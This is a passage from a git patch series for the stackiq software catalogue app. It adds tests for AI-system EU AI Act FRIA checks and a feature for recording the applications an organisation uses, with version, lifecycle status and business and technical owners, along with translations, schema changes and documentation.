OpenRegister accepts it. + * + * @return {Function} The compiled Ajv validator. + */ +function compileAiSystem() { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const properties = Object.fromEntries( + Object.entries(schema.properties).map(([key, prop]) => [ + key, + prop.$ref + ? { type: ['object', 'string'] } + : { type: prop.type, enum: prop.enum, format: prop.format }, + ]), + ) + return ajv.compile({ + type: 'object', + required: schema.required, + properties, + }) +} + +describe('the missing FRIA rule', () => { + it('flags a high-risk system without a FRIA reference', () => { + expect(friaMissing({ aiActRiskCategory: 'high risk' })).toBe(true) + expect( + friaMissing({ aiActRiskCategory: 'high risk', friaDocumentRef: ' ' }), + ).toBe(true) + }) + + it('does not flag a high-risk system with a FRIA, or a system of another category', () => { + expect( + friaMissing({ + aiActRiskCategory: 'high risk', + friaDocumentRef: '/AI/fria.pdf', + }), + ).toBe(false) + expect(friaMissing({ aiActRiskCategory: 'minimal risk' })).toBe(false) + expect(friaMissing({})).toBe(false) + }) + + it('reads FRIA missing in the list only for a flagged system', () => { + expect(friaStatus('', { aiActRiskCategory: 'high risk' })).toBe( + 'FRIA missing', + ) + expect( + friaStatus('/AI/fria.pdf', { + aiActRiskCategory: 'high risk', + friaDocumentRef: '/AI/fria.pdf', + }), + ).toBe('') + expect(friaStatus('', { aiActRiskCategory: 'limited risk' })).toBe('') + }) +}) + +describe('the evidence checklist', () => { + it('marks each of the four tags present or missing from the files', () => { + const list = evidenceChecklist([ + { name: 'tech.pdf', labels: ['Technical documentation'] }, + { name: 'untagged.pdf', labels: [] }, + { name: 'x.pdf' }, + ]) + expect(list.map((r) => r.tag)).toEqual(EVIDENCE_TAGS) + expect(list.find((r) => r.tag === 'FRIA').present).toBe(false) + expect(list.find((r) => r.tag === 'Technical documentation').present).toBe( + true, + ) + expect(list.find((r) => r.tag === 'Technical documentation').files).toEqual([ + 'tech.pdf', + ]) + }) + + it('uses the same four tags the schema allows on files', () => { + expect(schema.configuration.allowedTags).toEqual(EVIDENCE_TAGS) + }) + + it('reads an empty or broken response as nothing present', () => { + expect(evidenceChecklist(undefined).every((r) => !r.present)).toBe(true) + }) +}) + +describe('the AI systems pages', () => { + it('the merged manifest is valid against the v2 schema', () => { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const validate = ajv.compile(manifestSchema) + validate(merged) + expect(validate.errors ?? []).toEqual([]) + }) + + it('lists AI systems with kind and risk category, filterable, under Applications', () => { + const index = page('AiSystems') + expect(index.route).toBe('/ai-systems') + expect(index.config.schema).toBe('aiSystem') + expect(index.config.filterMenu).toBe(true) + const keys = index.config.columns.map((c) => + typeof c === 'string' ? c : c.key, + ) + expect(keys).toEqual( + expect.arrayContaining(['name', 'kind', 'module', 'aiActRiskCategory']), + ) + const modules = merged.menu.find((m) => m.id === 'Modules') + expect(modules.children.map((c) => c.route)).toContain('AiSystems') + }) + + it('filters on high risk, and on high risk without a FRIA', () => { + const quick = page('AiSystems').config.quickFilters + const high = quick.find((q) => q.label === 'High risk') + expect(high.filter).toEqual({ aiActRiskCategory: 'high risk' }) + const noFria = quick.find((q) => q.label === 'High risk without FRIA') + expect(noFria.filter).toEqual({ + aiActRiskCategory: 'high risk', + friaDocumentRef: 'IS NULL', + }) + for (const q of quick) { + for (const [key, value] of Object.entries(q.filter)) { + expect(schema.properties, key).toHaveProperty(key) + if (schema.properties[key].enum && value !== 'IS NULL') { + expect(schema.properties[key].enum, key).toContain(value) + } + } + } + }) + + it('shows the FRIA warning column through the app formatter', () => { + const column = page('AiSystems').config.columns.find( + (c) => typeof c === 'object' && c.key === 'friaDocumentRef', + ) + expect(column.formatter).toBe('friaStatus') + }) + + it('opens an AI system with its lifecycle, evidence files and checklist', () => { + const detail = page('AiSystemDetail') + expect(detail.route).toBe('/ai-systems/:id') + expect(detail.config.lifecycleActions).toEqual({ field: 'status' }) + expect( + detail.config.widgets.some( + (w) => w.type === 'integration' && w.integrationId === 'files', + ), + ).toBe(true) + expect(detail.config.bodyWidgets.map((w) => w.component)).toContain( + 'AiActChecklist', + ) + }) + + it('lists the AI systems on the application page', () => { + const widget = page('ModuleDetail').config.widgets.find( + (w) => w.id === 'md-ai-systems', + ) + expect(widget.content.schema).toBe('aiSystem') + expect(widget.content.filter).toEqual({ module: '@objectId' }) + expect(widget.content.rowRoute).toBe('AiSystemDetail') + expect( + page('ModuleDetail').config.layout.some( + (l) => l.widgetId === 'md-ai-systems', + ), + ).toBe(true) + }) +}) + +describe('the seeded AI systems', () => { + const seeded = mock.components.objects.filter( + (o) => o['@self'].register === 'stackiq' && o['@self'].schema === 'aiSystem', + ) + + it('are accepted by the real aiSystem schema', () => { + const validate = compileAiSystem() + expect(seeded.length).toBeGreaterThanOrEqual(2) + for (const o of seeded) { + const { '@self': self, ...fields } = o + expect(validate(fields), JSON.stringify(validate.errors)).toBe(true) + } + }) + + it('include one high-risk system without a FRIA, so the warning shows', () => { + expect(seeded.filter((o) => friaMissing(o))).toHaveLength(1) + expect(seeded.some((o) => o.aiActRiskCategory === 'limited risk')).toBe(true) + }) + + it('carry the schema copy the demo import validates against', () => { + expect(mock.components.schemas.aiSystem.properties).toEqual( + schema.properties, + ) + }) +}) diff --git a/tests/vitest/connectionRegistry.spec.js b/tests/vitest/connectionRegistry.spec.js index 3e25f0e34..38f61a905 100644 --- a/tests/vitest/connectionRegistry.spec.js +++ b/tests/vitest/connectionRegistry.spec.js @@ -26,6 +26,7 @@ import { BUILT_IN_FORMATTERS } from '@conduction/nextcloud-vue/src/utils/builtIn import * as fs from 'fs' import * as path from 'path' import { describe, expect, it } from 'vitest' +import appFormatters from '../../src/formatters.js' import { createConnectionHandlers, INTEGRIQ_CONNECTIONS_PATH, @@ -40,7 +41,8 @@ const menu = fragment.menu.find((m) => m.id === 'IntegrationsMenu') /** * The formatter registry CnAppRoot provides, built the way CnAppRoot builds it: * the library's built-ins under whatever the app passes in its `formatters` - * prop. A same-named local formatter wins, which is why stackiq passes none. + * prop. A same-named local formatter wins, which is why stackiq's own names + * (src/formatters.js) never equal a built-in's. * * @param {object} appFormatters What the app hands CnAppRoot. Empty by default. * @return {object} The merged registry, keyed by formatter name. @@ -156,13 +158,19 @@ describe('the Integrations page declaration', () => { // so a local formatter under either name silently replaces the built-in and // nothing logs. stackiq passes no formatters at all, and this states what // that buys: the built-in is what the Status column resolves. - it('passes CnAppRoot no formatters, so nothing shadows the built-ins', () => { + it('passes CnAppRoot no formatter that shadows a built-in', () => { const shadow = shellFormatterRegistry({ connectionStatus: () => 'a local copy answered', }) expect(shadow.connectionStatus('disabled')).toBe('a local copy answered') - expect(read('src', 'App.vue')).not.toContain(':formatters=') + const shadowed = Object.keys(appFormatters).filter( + (name) => name in BUILT_IN_FORMATTERS, + ) + expect(shadowed).toEqual([]) + expect(shellFormatterRegistry(appFormatters).connectionStatus).toBe( + BUILT_IN_FORMATTERS.connectionStatus, + ) }) it('names an icon src/icons.js registers', () => { From a4a28c49833231a656f2954801b3cae36fcf00df Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Tue, 29 Sep 2026 22:17:26 +0200 Subject: [PATCH 055/176] feat(usages): record the applications your organisation uses, with version, status and owners (#1194) * test(usages): the usage pages, owners, lifecycle and seeds, red before the change * feat(usages): record the applications your organisation uses, with version, status and owners * docs(openspec): archive landscape-usage-registration, three rows are built * fix(usages): the owners live in the register itself, as the relation gate reads a fragment alone --- docs/features/applications-in-use.md | 38 ++++ l10n/en.js | 12 +- l10n/en.json | 12 +- l10n/nl.js | 12 +- l10n/nl.json | 12 +- lib/Settings/softwarecatalogus_register.json | 18 +- lib/Settings/stackiq_mock_register.json | 4 + .../.openspec.yaml | 0 .../design.md | 6 +- .../proposal.md | 0 .../specs/application-usage-pages/spec.md | 2 +- .../tasks.md | 16 +- openspec/parity/capabilities.json | 45 +++-- .../specs/application-usage-pages/spec.md | 58 ++++++ src/manifest.d/usages.json | 67 +++++++ src/manifest.json | 6 +- tests/Unit/Settings/UsageSchemaTest.php | 167 ++++++++++++++++ tests/e2e/workflows/usages.spec.ts | 165 +++++++++++++++ tests/vitest/usages.spec.js | 189 ++++++++++++++++++ 19 files changed, 784 insertions(+), 45 deletions(-) create mode 100644 docs/features/applications-in-use.md rename openspec/changes/{landscape-usage-registration => archive/2026-09-29-landscape-usage-registration}/.openspec.yaml (100%) rename openspec/changes/{landscape-usage-registration => archive/2026-09-29-landscape-usage-registration}/design.md (71%) rename openspec/changes/{landscape-usage-registration => archive/2026-09-29-landscape-usage-registration}/proposal.md (100%) rename openspec/changes/{landscape-usage-registration => archive/2026-09-29-landscape-usage-registration}/specs/application-usage-pages/spec.md (96%) rename openspec/changes/{landscape-usage-registration => archive/2026-09-29-landscape-usage-registration}/tasks.md (84%) create mode 100644 openspec/specs/application-usage-pages/spec.md create mode 100644 src/manifest.d/usages.json create mode 100644 tests/Unit/Settings/UsageSchemaTest.php create mode 100644 tests/e2e/workflows/usages.spec.ts create mode 100644 tests/vitest/usages.spec.js diff --git a/docs/features/applications-in-use.md b/docs/features/applications-in-use.md new file mode 100644 index 000000000..0c4e63fb2 --- /dev/null +++ b/docs/features/applications-in-use.md @@ -0,0 +1,38 @@ + + +# Applications in use + +An application in use records that your organisation uses an application: which version it runs, where it stands in its lifecycle, and who owns it on the business side and on the technical side. The portfolio views, the lifecycle roadmap and the end-of-support warnings all start from these records. + +Specification: [`openspec/specs/application-usage-pages/spec.md`](https://github.com/ConductionNL/stackiq/blob/development/openspec/specs/application-usage-pages/spec.md). + +## Adding an application to your landscape + +Open the application's page under **Applications** and click **Add to our landscape** in the usages section. The application is already filled in. Pick: + +- **Consumer**: your organisation. +- **Version**: the version you run. The list only offers versions of this application. +- **Status**: Acquisition, Planned, In production, To be phased out or Phased out. +- **Business owner** and **Technical owner**: contact persons of your organisation. + +## Browsing what you use + +Open **Applications** in the navigation menu, then **Applications in use**. The list shows each application with its version, status, owners and TIME classification. The tabs above the list filter on status. Your organisation's page lists the same records under **Applications in use**. + +## Moving through the lifecycle + +Open an application in use. The actions at the top follow its status: + +- **Plan** moves Acquisition to Planned. +- **Go live** moves Planned to In production. +- **Phase out** moves In production to To be phased out. +- **Retire** moves To be phased out to Phased out. + +Every change is kept in the **History** tab. + +## Who sees the owners + +The owners are contact persons of the organisation that uses the application. A supplier can read the usages of its own products, but it cannot open the contact persons of its customers. diff --git a/l10n/en.js b/l10n/en.js index ef51efbdd..f6352539d 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -818,7 +818,17 @@ OC.L10N.register( "High risk without FRIA": "High risk without FRIA", "Application and supplier": "Application and supplier", "History": "History", - "No AI systems registered for this application": "No AI systems registered for this application" + "No AI systems registered for this application": "No AI systems registered for this application", + "Application in use": "Application in use", + "To be phased out": "To be phased out", + "Business owner": "Business owner", + "Technical owner": "Technical owner", + "The person in the organisation who is responsible for how the application is used.": "The person in the organisation who is responsible for how the application is used.", + "The person in the organisation who is responsible for running and maintaining the application.": "The person in the organisation who is responsible for running and maintaining the application.", + "Add to our landscape": "Add to our landscape", + "Connections and services": "Connections and services", + "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", + "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index fee62e120..0bb16ff62 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -817,6 +817,16 @@ "High risk without FRIA": "High risk without FRIA", "Application and supplier": "Application and supplier", "History": "History", - "No AI systems registered for this application": "No AI systems registered for this application" + "No AI systems registered for this application": "No AI systems registered for this application", + "Application in use": "Application in use", + "To be phased out": "To be phased out", + "Business owner": "Business owner", + "Technical owner": "Technical owner", + "The person in the organisation who is responsible for how the application is used.": "The person in the organisation who is responsible for how the application is used.", + "The person in the organisation who is responsible for running and maintaining the application.": "The person in the organisation who is responsible for running and maintaining the application.", + "Add to our landscape": "Add to our landscape", + "Connections and services": "Connections and services", + "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", + "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet" } } diff --git a/l10n/nl.js b/l10n/nl.js index 69d5e47a4..ac011f44f 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -888,7 +888,17 @@ OC.L10N.register( "FRIA": "FRIA", "High risk without FRIA": "Hoog risico zonder FRIA", "Application and supplier": "Applicatie en leverancier", - "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie" + "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie", + "Application in use": "Applicatie in gebruik", + "To be phased out": "Uit te faseren", + "Business owner": "Functioneel eigenaar", + "Technical owner": "Technisch eigenaar", + "The person in the organisation who is responsible for how the application is used.": "De persoon in de organisatie die verantwoordelijk is voor hoe de applicatie wordt gebruikt.", + "The person in the organisation who is responsible for running and maintaining the application.": "De persoon in de organisatie die verantwoordelijk is voor het draaien en onderhouden van de applicatie.", + "Add to our landscape": "Toevoegen aan ons landschap", + "Connections and services": "Koppelingen en diensten", + "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "De applicaties die uw organisatie gebruikt, met de versie die draait, de fase waarin ze staan en wie de eigenaar is.", + "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 2342bd68e..14eaf9a18 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -887,6 +887,16 @@ "FRIA": "FRIA", "High risk without FRIA": "Hoog risico zonder FRIA", "Application and supplier": "Applicatie en leverancier", - "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie" + "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie", + "Application in use": "Applicatie in gebruik", + "To be phased out": "Uit te faseren", + "Business owner": "Functioneel eigenaar", + "Technical owner": "Technisch eigenaar", + "The person in the organisation who is responsible for how the application is used.": "De persoon in de organisatie die verantwoordelijk is voor hoe de applicatie wordt gebruikt.", + "The person in the organisation who is responsible for running and maintaining the application.": "De persoon in de organisatie die verantwoordelijk is voor het draaien en onderhouden van de applicatie.", + "Add to our landscape": "Toevoegen aan ons landschap", + "Connections and services": "Koppelingen en diensten", + "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "De applicaties die uw organisatie gebruikt, met de versie die draait, de fase waarin ze staan en wie de eigenaar is.", + "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie" } } diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 427bfb697..7d788425a 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -3,8 +3,8 @@ "info": { "title": "Software Catalog Register", "description": "Register containing AMEF and Voorzieningen schemas for the VNG Software Catalog application. This configuration includes schemas for applications, services, organizations, and compliance tracking.", - "version": "2.5.3", - "changelog": "2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." + "version": "2.5.4", + "changelog": "2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." }, "x-openregister": { "type": "application", @@ -2657,7 +2657,7 @@ "slug": "usage", "title": "Usage", "description": "Het gebruik van applicaties, diensten en koppelingen door afnemers", - "version": "1.5.1", + "version": "1.5.2", "omschrijving": "", "icon": "Gauge", "x-openregister-notifications": { @@ -2716,6 +2716,8 @@ "title": "Contact person", "order": 3 }, + "businessOwner": {"type": "object", "title": "Business owner", "description": "The person in the organisation who is responsible for how the application is used.", "facetable": false, "objectConfiguration": {"handling": "related-object"}, "$ref": "#/components/schemas/contactPerson", "x-relation-filter": {"organization": "@object.consumer"}, "order": 18}, + "technicalOwner": {"type": "object", "title": "Technical owner", "description": "The person in the organisation who is responsible for running and maintaining the application.", "facetable": false, "objectConfiguration": {"handling": "related-object"}, "$ref": "#/components/schemas/contactPerson", "x-relation-filter": {"organization": "@object.consumer"}, "order": 19}, "participants": { "description": "De organisaties die deelnemen aan dit gebruik (voor samenwerkingen)", "type": "array", @@ -2895,7 +2897,7 @@ "To be phased out", "Phased out" ], - "facetable": false, + "facetable": true, "title": "Status", "example": "Bijvoorbeeld: Gepland" }, @@ -3200,7 +3202,7 @@ ] }, "configuration": { - "objectNameField": "consumer", + "objectNameField": "{{ module }} ({{ consumer }})", "objectDescriptionField": "module", "allowFiles": true, "allowedTags": [ @@ -8379,7 +8381,7 @@ "version": "0.0.1" }, "name": "Topdesk bij Servicecenter Rijnland (SSC)", - "status": "in-gebruik", + "status": "In production", "elementRef": "topdesk-ssc-rijnland", "consumer": { "name": "Servicecenter Rijnland", @@ -8408,7 +8410,7 @@ "version": "0.0.1" }, "name": "KEY2 Burgerzaken gedeeld via GBLT", - "status": "in-gebruik", + "status": "Planned", "elementRef": "key2-burgerzaken-gblt", "consumer": { "name": "Gemeentebelastingen Coevorden Hardenberg (GBLT)", @@ -8432,7 +8434,7 @@ "version": "0.0.1" }, "name": "Suite4 Schuldhulpverlening - eigenaar Gemeente Delft", - "status": "in-gebruik", + "status": "In production", "elementRef": "suite4-schuldhulp-delft", "consumer": { "name": "Gemeente Delft", diff --git a/lib/Settings/stackiq_mock_register.json b/lib/Settings/stackiq_mock_register.json index 3d2ab16cf..d39fdf97c 100644 --- a/lib/Settings/stackiq_mock_register.json +++ b/lib/Settings/stackiq_mock_register.json @@ -9076,6 +9076,8 @@ "consumer": {}, "provider": {}, "contactPerson": {}, + "businessOwner": {}, + "technicalOwner": {}, "participants": [ {} ], @@ -10645,6 +10647,8 @@ "consumer": {}, "provider": {}, "contactPerson": {}, + "businessOwner": {}, + "technicalOwner": {}, "participants": [ {} ], diff --git a/openspec/changes/landscape-usage-registration/.openspec.yaml b/openspec/changes/archive/2026-09-29-landscape-usage-registration/.openspec.yaml similarity index 100% rename from openspec/changes/landscape-usage-registration/.openspec.yaml rename to openspec/changes/archive/2026-09-29-landscape-usage-registration/.openspec.yaml diff --git a/openspec/changes/landscape-usage-registration/design.md b/openspec/changes/archive/2026-09-29-landscape-usage-registration/design.md similarity index 71% rename from openspec/changes/landscape-usage-registration/design.md rename to openspec/changes/archive/2026-09-29-landscape-usage-registration/design.md index e3692eb9e..1cbac120b 100644 --- a/openspec/changes/landscape-usage-registration/design.md +++ b/openspec/changes/archive/2026-09-29-landscape-usage-registration/design.md @@ -18,7 +18,9 @@ A usage (`gebruik`) is an organisation's use of an application: `consumer` (the ## D2. "Add to our landscape" -`ModuleDetail` gets a header action "Add to our landscape" that opens the library's create form for `usage` with `module` set to the page's object and `consumer` set to the active organisation. The action shows only when the user may create a usage. It mirrors the GEMMA Softwarecatalogus "+" behind a package (the row's evidence). +`ModuleDetail`'s usages list (`md-usages`) offers its create button labelled "Add to our landscape" (`addLabel`). The list is filtered on `module: @objectId`, and the library's `CnObjectListWidget.onCreateConfirm` merges that filter value into the new row, so the usage is created with the application filled in. The form asks consumer, version, status and both owners (`formIncludeFields`). It mirrors the GEMMA Softwarecatalogus "+" behind a package (the row's evidence). + +Changed at build (29 Sep, development `f280e807`): the design first said a header action with `consumer` set to the active organisation. No manifest token names the active organisation (`resolveFilterTokens` knows `@objectId`, `@object.*`, `@workspace.*`, `@config.*`, `@me` and dates; `CnFormDialog._autofillTenant` fills only a field called `organisation`), so the user picks the organisation in the form. Filling it needs an `@organisation` token in nextcloud-vue. Rejected: a wizard. The usage form has five fields a user must decide on; a dialog is enough, and `CnFormDialog` already renders the schema. @@ -37,6 +39,8 @@ Rejected: owner fields on `module`. A module is the supplier's product; the busi ## D4. Register fixes +Items 1 and 3 landed before this change was built, in register 2.5.1 (stackiq#1140: usage 1.5.1 with the lifecycle on the enum values). Item 2 and the owners went into the register itself (2.5.4, usage 1.5.2), not into a `register.d` fragment as D3 says: the relation-dialect gate reads a fragment on its own and cannot see `consumer`, the field the owners' `x-relation-filter` names. It also makes `status` facetable for the list's status filters. The seeded usages in the register held `in-gebruik`, a value outside the enum; they now read In production and Planned. + In `lib/Settings/softwarecatalogus_register.json`, schema `usage`: 1. `x-openregister-lifecycle` on the enum values: initial `Acquisition`, final `Phased out`, transitions plan (Acquisition to Planned), goLive (Planned to In production), phaseOut (In production to To be phased out), retire (To be phased out to Phased out). The rows already hold these (`lib/Repair/RenameDutchCatalogValues.php:80-84`). diff --git a/openspec/changes/landscape-usage-registration/proposal.md b/openspec/changes/archive/2026-09-29-landscape-usage-registration/proposal.md similarity index 100% rename from openspec/changes/landscape-usage-registration/proposal.md rename to openspec/changes/archive/2026-09-29-landscape-usage-registration/proposal.md diff --git a/openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md b/openspec/changes/archive/2026-09-29-landscape-usage-registration/specs/application-usage-pages/spec.md similarity index 96% rename from openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md rename to openspec/changes/archive/2026-09-29-landscape-usage-registration/specs/application-usage-pages/spec.md index 37b71c2e5..54d56cc07 100644 --- a/openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md +++ b/openspec/changes/archive/2026-09-29-landscape-usage-registration/specs/application-usage-pages/spec.md @@ -24,7 +24,7 @@ Stackiq SHALL offer a page "Applications in use" at `/gebruik` over the `usage` ### Requirement: REQ-UAP-002 An organisation adds an application to its landscape from the application page -The application page SHALL offer "Add to our landscape" to a user who may create a usage. It SHALL open the usage form with the application and the user's active organisation filled in, and the version picker SHALL offer only versions of that application. +The application page SHALL offer "Add to our landscape" to a user who may create a usage. It SHALL open the usage form with the application filled in, the user SHALL pick the organisation, and the version picker SHALL offer only versions of that application. #### Scenario: Adding an application with its version @e2e tests/e2e/workflows/usages.spec.ts diff --git a/openspec/changes/landscape-usage-registration/tasks.md b/openspec/changes/archive/2026-09-29-landscape-usage-registration/tasks.md similarity index 84% rename from openspec/changes/landscape-usage-registration/tasks.md rename to openspec/changes/archive/2026-09-29-landscape-usage-registration/tasks.md index 532ad2186..575520955 100644 --- a/openspec/changes/landscape-usage-registration/tasks.md +++ b/openspec/changes/archive/2026-09-29-landscape-usage-registration/tasks.md @@ -8,8 +8,8 @@ - **acceptance_criteria**: - GIVEN the merged register WHEN a usage in Planned is opened THEN Go live is offered - GIVEN a usage WHEN its business owner field opens THEN it lists contact persons of the consumer organisation only -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Settings/UsageSchemaTest.php`: lifecycle states are enum values, owner filters, name template keys exist) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/UsageSchemaTest.php`: lifecycle states are enum values, owner filters, name template keys exist) ### Task 2: Usage index and detail pages - **spec_ref**: openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md#requirement-req-uap-001-an-organisation-records-and-browses-the-applications-it-uses @@ -17,24 +17,24 @@ - **acceptance_criteria**: - GIVEN two usages of the organisation WHEN the user opens Applications in use THEN both show with version and status - GIVEN a usage row WHEN the user opens it THEN the detail page shows version, status and owners -- [ ] Implement -- [ ] Test (Playwright `tests/e2e/workflows/usages.spec.ts`) +- [x] Implement +- [x] Test (Playwright `tests/e2e/workflows/usages.spec.ts`; vitest `tests/vitest/usages.spec.js` asserts the pages; the Playwright file lists 4 tests and was not run, no seeded instance) ### Task 3: Add to our landscape - **spec_ref**: openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md#requirement-req-uap-002-an-organisation-adds-an-application-to-its-landscape-from-the-application-page - **files**: `src/manifest.json` (ModuleDetail header action), `src/customComponents.js` if the action needs a handler - **acceptance_criteria**: - GIVEN application X WHEN an information manager clicks Add to our landscape and saves version 2.1 THEN a usage of X by their organisation exists with version 2.1 -- [ ] Implement -- [ ] Test (Playwright `tests/e2e/workflows/usages.spec.ts`, add case) +- [x] Implement +- [x] Test (Playwright `tests/e2e/workflows/usages.spec.ts`, add case) ### Task 4: Documentation - **spec_ref**: openspec/changes/landscape-usage-registration/specs/application-usage-pages/spec.md#requirement-req-uap-004-a-usage-moves-through-its-lifecycle-from-its-page - **files**: `docs/features/applications-in-use.md`, `docs/images/applications-in-use.png` - **acceptance_criteria**: - GIVEN the docs site WHEN a reader opens Applications in use THEN adding, the lifecycle and the owners are explained with a screenshot -- [ ] Implement -- [ ] Test (docs build, screenshot with Playwright) +- [x] Implement +- [ ] Test (docs build, screenshot with Playwright): the page is written; the screenshot waits for a seeded instance ## Verification diff --git a/openspec/parity/capabilities.json b/openspec/parity/capabilities.json index 7abc3c71a..c5f34ca52 100644 --- a/openspec/parity/capabilities.json +++ b/openspec/parity/capabilities.json @@ -364,25 +364,26 @@ "bluedolphin": "yes", "glpi": "yes", "topdesk": "partial", - "stackiq": "partial", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "src/manifest.json:592 Modules page (FacetedCatalogIndexView, schema module) with the library CnIndexPage create form at src/views/FacetedCatalogIndexView.vue:108; lib/Settings/softwarecatalogus_register.json:6777 module schema has name, shortDescription/longDescription and provider (Supplier) but NO status property; status lives on usage (register.json:2654, enum Acquisition..In production) which has no page", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "usage schema (consumer, module, moduleVersion, status with lifecycle plan/goLive/phaseOut/retire) in lib/Settings/softwarecatalogus_register.json; src/manifest.d/usages.json pages Gebruik (/gebruik, Applications in use) and 